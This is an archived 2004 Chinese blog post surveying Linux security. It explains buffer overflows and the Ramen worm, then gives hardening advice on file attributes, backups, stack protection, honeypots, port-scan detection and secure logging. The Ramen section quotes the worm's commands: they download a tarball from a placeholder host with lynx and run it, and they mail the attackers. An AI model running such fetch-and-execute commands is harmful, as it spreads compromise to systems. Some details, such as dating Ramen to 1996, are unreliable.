Linux安全综述 :: 『孤光剑隐』
来源: BlogBus 原始链接: http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=535345 存档链接: https://web.archive.org/web/20050103064139id_/http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=535345
本站公告 BLOG停止更新 常见IP碎片攻击详解 从上传webshell到突破TCP-IP筛选到3389终端登陆 子网掩码及其应用 Windows命令行技巧 用PERL打造自己的缓冲区漏洞利用程序 Linux安全综述 DISCUZ2上传漏洞分析 上传漏洞变换利用 如何使tcp包和udp包穿透防火墙 TC函数命令详细表 dreamtheater Angel showlife tx7do jpxiong chensun netsky KKQQ Ziqi spy8888 Luzhu eVan SUNU Taynni wuhui CAT Neeao KusTa Hoky eviloctal lam Iceberg Jace Hardy Gusu・Lanye swap lilo xiaolu knIfe kaka Lo7e4L Super・Hei lichdr lamp FlyWeb evilhsu hackfree powers Sunlion EvilPhive xeric icyfoxlovelace GuoMing swords an85 ring zwx steve S4Ld0ne solaris myzky xpfox liso sevenline Golden・Section phoenix xrens BlackFox tuz hardy29a victorwoo xueyu・xiongying Blackfish skyshui zhouzhen cnbird <<<DISCUZ2上传漏洞分析 上传漏洞变换利用 | 首页 | 子网掩码及其应用>>> Linux安全综述 时间: 2004-12-10 由于Linux操作系统是一个开放源代码的免费操作系统, 因此受到越来越多用户的欢迎。随着Linux操作系统在我国的不断普及,Linux操作系统一直被认为是微软Windows软件系统的劲敌,因为它不仅安全、稳定、成本低,而且很少发现有病毒传播。但是,随着越来越多的服务器、工作站和个人电脑使用Linux软件,电脑病毒制造者也开始攻击这一系统。于1996年被发现的Ramen是Linux系统下的第一个病毒,如果说刚开始时Linux病毒向人们展示的仅仅是一个概念,那么,Ramen病毒的发现,则已经开始引起了人们的担心。虽然很多人认为,严格来讲,Reman并不能称为病毒,但是这已经让很多对Linux的安全性信心百倍的用户大吃一惊了。 可以看到,从1996年至今,新的Linux病毒屈指可数,这说明Linux是一个健壮的、具有先天病毒免疫能力的操作系统。当然除了其自身设计优秀外,年轻,也是Linux很少受到病毒攻击的原因之一。事实上,所有的操作系统(包括DOS和Windows)在其产生之初,也很少受到各种病毒的侵扰。然而正如Trend Micro的反病毒部门欧洲总裁Raimond Genes所说的,"当然我们将看到对于Windows的越来越多的攻击,但是Linux也将成为一个目标,因为它的使用正在变得越来越普及,这是一个稳定的操作系统,但并不是一个完全安全的系统而LINUX方面关于世界上第一个Linux病毒――reman已经出现的说法,我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在UNIX/Linux世界早已存在的"缓冲区溢出"攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才"出现"的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。 缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:"core dump"或"segment fault"。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:"/bin/sh",所以这段代码被称为:"shell code"。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。 下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作: mkdir /usr/src/.poop;cd /usr/src/.poop export TERM=vt100 lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz cp ramen.tgz /tmp gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com gb31337@yahoo.com 很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免. 但我们对于LINUX的安全措施仍需要注意. 一、文件系统在Linux系统中,分别为不同的应用安装单独的主分区将关键的分区设置为只读将大大提高文件系统的安全。这主要涉及到Linux自身的ext2文件系统的只添加(只添加)和不可变这两大属性。 ●文件分区Linux的文件系统可以分成几个主要的分区,每个分区分别进行不同的配置和安装,一般情况下至少要建立/、/usr/local、/var和/home等分区。/usr可以安装成只读并且可以被认为是不可修改的。如果/usr中有任何文件发生了改变,那么系统将立即发出安全报警。当然这不包括用户自己改变/usr中的内容。 /lib、/boot和/sbin的安装和设置也一样。在安装时应该尽量将它们设置为只读,并且对它们的文件、目录和属性进行的任何修改都会导致系统报警。 当然将所有主要的分区都设置为只读是不可能的, 有的分区如/var等,其自身的性质就决定了不能将它们设置为只读,但应该不允许它具有执行权限。 ●扩展ext2使用ext2文件系统上的只添加和不可变这两种文件属性可以进一步提高安全级别。不可变和只添加属性只是两种扩展ext2文件系统的属性标志的方法。 一个标记为不可变的文件不能被修改,甚至不能被根用户修改。一个标记为只添加的文件可以被修改,但只能在它的后面添加内容,即使根用户也只能如此。 可以通过chattr命令来修改文件的这些属性,如果要查看其属性值的话可以使用lsattr命令。要想了解更多的关于ext2文件属性的信息,可使用命令man chattr来寻求帮助。这两上文件属性在检测黑客企图在现有的文件中安装入侵后门时是很有用的。为了安全起见,一旦检测到这样的活动就应该立即将其阻止并发出报警信息。 如果你的关键的文件系统安装成只读的并且文件被标记为不可变的,入侵者必须重新安装系统才能删除这些不可变的文件但这会立刻产生报警,这样就大大减少了被非法入侵的机会。 ●保护log文件当与log文件和log备份一起使用时不可变和只添加这两种文件属性特别有用。系统管理员应该将活动的log文件属性设置为只添加。当log被更新时,新产生的log备份文件属性应该设置成不可变的,而新的活动的log文件属性又变成了只添加。这通常需要在log更新脚本中添加一些控制命令。 二、备份在完成Linux系统的安装以后应该对整个系统进行备份,以后可以根据这个备份来验证系统的完整性,这样就可以发现系统文件是否被非法窜改过。如果发生系统文件已经被破坏的情况,也可以使用系统备份来恢复到正常的状态。 ●CD-ROM备份当前最好的系统备份介质就是CD-ROM光盘,以后可以定期将系统光盘内容进行比较以验证系统的完整性是否遭到破坏。如果对安全级别的要求特别高,那么可以将光盘设置为可启动的并且将验证工作作为系统启动过程的一部分。这样只要可以通过光盘启动,就说明系统尚未被破坏过。 如果你创建了一个只读的分区,那么可以定期从光盘映像重新装载它们。即使象/boot、/lib和/sbin这样不能被安装成只读的分区,你仍然可以根据光盘映像来检查它们,甚至可以在启动时从另一个安全的映像重新下载它们。 ●其它方式的备份虽然/etc中的许多文件经常会变化,但/etc中的许多内容仍然可以放到光盘上用于系统完整性验证。其它不经常进行修改的文件,可以备份到另一个系统(如磁带)或压缩到一个只读的目录中。这种办法可以在使用光盘映像进行验证的基础上再进行额外的系统完整性检查。 既然现在绝大多数操作系统现在都在随光盘一起提供的,制作一个CD-ROM紧急启动盘或验证盘操作起来是十分方便的,它是一种十分有效而又可行的验证方法。 三、改进系统内部安全机制可以通过改进Linux操作系统的内部功能来防止缓冲区溢出攻击这种破坏力极强却又最难预防的攻击方式,虽然这样的改进需要系统管理员具有相当丰富的经验和技巧,但对于许多对安全级别要求高的Linux系统来讲还是很有必要的。 ●Solaris Designer的安全Linux补丁Solaris Designer用于2.0版内核的安全Linux补丁提供了一个不可执行的栈来减少缓冲区溢出的威胁,从而大大提高了整个系统的安全性。 缓冲区溢出实施起来是相当困难的,因为入侵者必须能够判断潜在的缓冲区溢出何时会出现以及它在内存中的什么位置出现。缓冲区溢出预防起来也十分困难,系统管理员必须完全去掉缓冲区溢出存在的条件才能防止这种方式的攻击。正因为如此,许多人甚至包括Linux Torvalds本人也认为这个安全Linux补丁十分重要,因为它防止了所有使用缓冲区溢出的攻击。但是需要引起注意的是,这些补丁也会导致对执行栈的某些程序和库的依赖问题,这些问题也给系统管理员带来的新的挑战。 不可执行的栈补丁已经在许多安全邮件列表(如 securedistros@nl.linux.org )中进行分发,用户很容易下载到它们等。 ●StackGuardStackGuard是一个十分强大的安全补丁工具。你可以使用经StackGuard修补过的gcc版本来重新编译和链接关键的应用。 StackGuard进行编译时增加了栈检查以防止发生栈攻击缓冲区溢出,虽然这会导致系统的性能略有下降,但对于安全级别要求高的特定应用来讲StackGuard仍然是一个十分管用的工具。 现在已经有了一个使用了SafeGuard的Linux版本,用户使用StackGuard将会更加容易。虽然使用StackGuard会导致系统性能下降约10~20%,但它能够防止整个缓冲区溢出这一类攻击。 ●增加新的访问控制功能Linux的2.3版内核正试图在文件系统中实现一个访问控制列表,这要可以在原来的三类(owner、group和other)访问控制机制的基础上再增加更详细的访问控制。 在2.2和2.3版的Linux内核中还将开发新的访问控制功能,它最终将会影响当前有关ext2文件属性的一些问题。与传统的具有ext2文件系统相比它提供了一个更加精确的安全控制功能。有了这个新的特性,应用程序将能够在不具有超级用户权限的情况下访问某些系统资源,如初始套接等。 ●基于规则集的访问控制现在有关的Linux团体正在开发一个基于规则的访问 控制(RSBAC) 项目,该项目声称能够使Linux操作系统实现B1级的安全。RSBAC是基于访问控制的扩展框架并且扩展了许多系统调用方法,它支持多种不同的访问和认证方法。这对于扩展和加强Linux系统的内部和本地安全是一个很有用的。 四、设置陷井和蜜罐所谓陷井就是激活时能够触发报警事件的软件,而蜜罐 (honey pot)程序是指设计来引诱有入侵企图者触发专门的报警的陷井程序。通 过设置陷井和蜜罐程序,一旦出现入侵事件系统可以很快发出报警。在许多大的网络中,一般都设计有专门的陷井程序。陷井程序一般分为两种:一种是只发现入侵者而不对其采取报复行动,另一种是同时采取报复行动。 设置蜜罐的一种常用方法是故意声称Linux系统使用了具有许多脆弱性的IMAP服务器版本。当入侵者对这些IMAP服务器进行大容量端口扫瞄就会落入陷井并且激发系统报警。 另一个蜜罐陷井的例子就是很有名的phf,它是一个非常脆弱的Web cgi-bin脚本。 最初的phf是设计来查找电话号码的,但它具有一个严重的安全漏洞:允许入侵者使用它来获得系统口令文件或执行其它恶意操作。系统管理员可以设置一个假的phf脚本, 但是它不是将系统的口令文件发送给入侵者,而是向入侵者返回一些假信息并且同时向系统管理员发出报警。 另外一类蜜罐陷井程序可以通过在防火墙中将入侵者的IP地址设置为黑名单来立即拒绝入侵者继续进行访问。拒绝不友好的访问既可以是短期的,也可以是长期的。Linux内核中的防火墙代码非常适合于这样做。 五、将入侵消灭在萌芽状态入侵者进行攻击之前最常做的一件事情就是端号扫瞄,如果能够及时发现和阻止入侵者的端号扫瞄行为,那么可以大大减少入侵事件的发生率。反应系统可以是一个简单的状态检查包过滤器,也可以是一个复杂的入侵检测系统或可配置的防火墙。 ●Abacus Port SentryAbacus Port Sentry是开放源代码的工具包,它能够监视网络接口并且与防火墙交互操作来关闭端口扫瞄攻击。当发生正在进行的端口扫瞄时, Abacus Sentry可以迅速阻止它继续执行。但是如果配置不当,它也可能允许敌意的外部者在你的系统中安装拒绝服务攻击。 Abacus Port Sentry如果与Linux中透明的代理工具一起使用可以提供一个非常有效地入侵防范措施。这样可以将为所有IP地址提供通用服务的未使用端口重定向到Port Sentry中,Port Sentry可以在入侵者采取进一步行动之前及时检测到并阻止端口扫瞄。 Abacus Port Sentry能够检测到慢扫瞄(slow scan),但它不能检测到结构化攻击(structured attack) 。这两种方式最终目的都要试图掩盖攻击意图。慢扫瞄就是通过将端口扫瞄分散到很长的时间内来完成,而在结构化的攻击中,攻击者试图通过扫瞄或探测多个源地址中来掩盖自己的真实攻击目标。 正确地使用这个软件将能够有效地防止对IMAP服务大量的并行扫瞄并且阻止所有这样的入侵者。Abacus Sentry与Linux 2.2内核的IPChains工具一起使用时最有效,IPChains能够自动将所有的端口扫瞄行为定向到Port Sentry。 Linux 2.0内核可以使用IPChains进行修补,Abacus Port Sentry也可以与早期的2.0版内核中的ipfwadm工具一起使用,ipfwadm在2.2版本以后被IPChains取代了。 Abacus Port Sentry还可以被配置来对Linux系统上的UDP扫瞄作出反应,甚至还可以对各种半扫瞄作出反应,如FIN扫瞄,这种扫描试图通过只发送很小的探测包而不是建立一个真正的连接来避免被发现。 当然更好的办法就是使用专门的入侵检测系统,如ISS公司的RealSecure等,它们可以根据入侵报警和攻击签名重新配置防火墙。但这样的产品一般价格较高,普及的用户承受起来有困难。 六、反攻击检测系统主要通过阻止入侵企图来防止入侵,而反攻击系统则可以反向进行端口扫瞄或发起其它的攻击,这一着让入侵者不仅入侵阴谋未能得逞,反而"引狼入室",招致反攻击。 有些安全系统如Abacus Sentry具有一定的反攻击能力。比如有的站点有了防止用户通过telnet进行连接,在应答telnet连接请求时,系统将返回一些不受欢迎的恶意信息。这只是一种最简单也是最轻微的反攻击措施。 一般情况下并不提倡使用反攻击功能,因为这样的反攻击措施很容易被非法利用来攻击其它的系统。 七、改进登录服务器将系统的登录服务器移到一个单独的机器中会增加系统的安全级别,使用一个更安全的登录服务器来取代Linux自身的登录工具也可以进一步提高安全。 在大的Linux网络中,最好使用一个单独的登录服务器用于syslog服务。它必须是一个能够满足所有系统登录需求并且拥有足够的磁盘空间的服务器系统,在这个系统上应该没有其它的服务运行。更安全的登录服务器会大大削弱入侵者透过登录系统窜改日志文件的能力。 ●安全syslog即使使用单独的登录服务器,Linux自身的syslog工具也是相当不安全的。因此,有人开发了所谓的安全log服务器,将密码签名集成到日志中。 这会确保入侵者即使在窜改系统日志以后也无法做到不被发现。现在最常用的用于取代syslog的安全log服务器称为"安全syslog(ssyslong) ",用户可以从Core SDI站点http: //www.core-sdi.com/ssylog处下载这个工具。这个守护程序实现一个称为PEQ-1的密码协议来实现对系统日志的远程审计。 即使在入侵者获得系统超级用户权限的情况下也仍然可以进行审计,因为协议保证了以前以及入侵过程中的的log信息没有审计者(在远程可信任的主机上)的通知无法被修改。 ●syslog-ng另一个取代syslog的工具是syslog-ng(下一代的syslog)。这是一个更加可配置的守护进程,它提供了密码签名来检测对日志文件的窜改。密码安全登录服务器和远程审计功能一起可以使入侵者极难进行日志窜改并且非常容易被检测到这样的不良企图。用户可以从 www.babit.hu/products/syslog-ng.html 处下载这个工具。 八、使用单一登录系统维护分散的大网络环境中的多个用户帐号对于系统管理员来讲是一件非常头疼的事情。现在有一些单一的登录(sign on)系统不仅可以减轻管理员的负担,而同时还提高了安全级别。 网络信息服务(NIS)是一个很好的单一登录系统,它在Sun公司的Yellow Page服务的基础上发展来的,它的基本安全特性不够健状,由于不断有一些bug和脆弱性被公布,因此有人戏称它为网络入侵者服务(Network Intruder Service)。 NIS的更新版本NIS+原NIS的不足进行了改进,现在已经有了用于Linux的NIS+版本。 Kerberos也是一种非常有名的单一登录系统。 Kerberos v4具有一些很有名的安全漏洞,如入侵者可以离线进行穷尽攻击Kerberos cookie而不会被发现。 Ketberos v5大大进行了改进,不会再有v4的问题。 在大的网络中,象NIS和Kerberos这样的单一的登录系统虽然有有利的一面,但也有它不利的一面。一方面,在不同系统上都具有认证机制有助于隔离该功能并且减少它与其它服务相互之间的影响。另一方面,一旦一个系统中的某个帐号被破坏,所有可通过这个帐号访问的系统都将同样遭到破坏。因此在单一的登录系统中特别要求具有较高防猜测水平的口令字。 基于Windows的网络在Windows NT域系统中有自己的单一登录系统。Linux系统可以根据Windows系统进行认证。这允许用户在Windows系统下修改、维护和管理它们的帐号和口令字并且修改结果会在同时在UNIX登录中得到体现。如使用pam_smb,Linux系统可以根据Windows SMB Domain进行认证。这在以Windows网络管理为中心的网络中是相当方便的,但它也带来了Windows认证系统自身的一些不安全性。 九、掌握最新安全产品和技术作为一个系统管理员,还必须时刻跟踪Linux安全技术的发展动向,并且适时采用更先进的Linux安全工具。目前国际上有许多有关Linux安全的研究和开发项目,目前至少有三个安全Linux项目已经启动,每个项目的目标都有自己的侧重点,它们分别是: ●安全Linux(Secure Linux) 安全Linux( www.reseau.nl/securelinux )项目的目标是提供一个用于Internet服务器系统的安全的Linux分发。该项目管理者正寻求在这个产品中集成强大的密码和一些额外的Web服务器功能。既然它是在美国之外创建的,人们可望能够得到改进的密码安全而不会受到美国安全产品出口法律的限制。 ●Bastille LinuxBastille Linux ( www.bastille-linux.org )项目寻求在Linux环境中建立一个类似OpenBSD的标准。该项目宣称的目标是为台式机创建一个安全的分发,使网络管理者可以不用担心用户的安全。 ●Kha0s LinuxKha0s Linux( www.kha0s.org )正寻求创建了一个具有强加密和类似OpenBSD的安全政策的最小的安全Linux分发。该小组目前正在它的Web站点上请求全球用户和厂商的参与和合作。 除此之外,下面两点对于管理员提高Linux安全管理水平也是十分有用的: ●访问安全Linux邮件列表现在有许多关于Linux安全的邮件列表, 如 securedistros@nl.linux.org 、Kh a0s-dev@kha0s.org 等,经常访问这些邮件列表可以得到大量的安全信息。 还有另一个通用的邮件列表是 security-audit@ferret.lmh.ox.ac.uk ,它是专门讨论源代码的安全审计的。这个列表可能与其它的邮件列表有大量的重复,但如果想了解源代码审计和相关的安全问题的话还是很值得一读的。 十、多管齐下任何一种单一的安全措施其防范能力都是有限的,一个安全的系统必须采取多种安全措施,多管齐下才能更好的保证安全。假如一个Linux系统采取了以上各种安全措施,那么要想侵入你的系统,攻击者将不得不绕过防火墙、避开入侵检测系统、跳过陷井程序、通过系统过滤器、逃过你的日志监视器、修改文件系统属性、破坏安全登录服务器才能最终达到目的。由于其中任何一个环节都可能激发报警,因此入侵者要想侵入这样的系统而又不被发现几乎是不可能的。 总结:很多人对于病毒的描述是:流行的即不安全的。例如,目前所有的流行病毒都是针对于Windows的,而像Unix和Linux却是非常安全。可是现在病毒又把Linux作为新目标,我们的用户得小心了。实际上这种钻空子的做法并非一劳永逸,最好的办法应该是时刻警惕,及时打补丁,做好预防工作。 孤光剑隐 发表于 2004-12-10 11:02 引用Trackback(0) | 编辑 评论 发表评论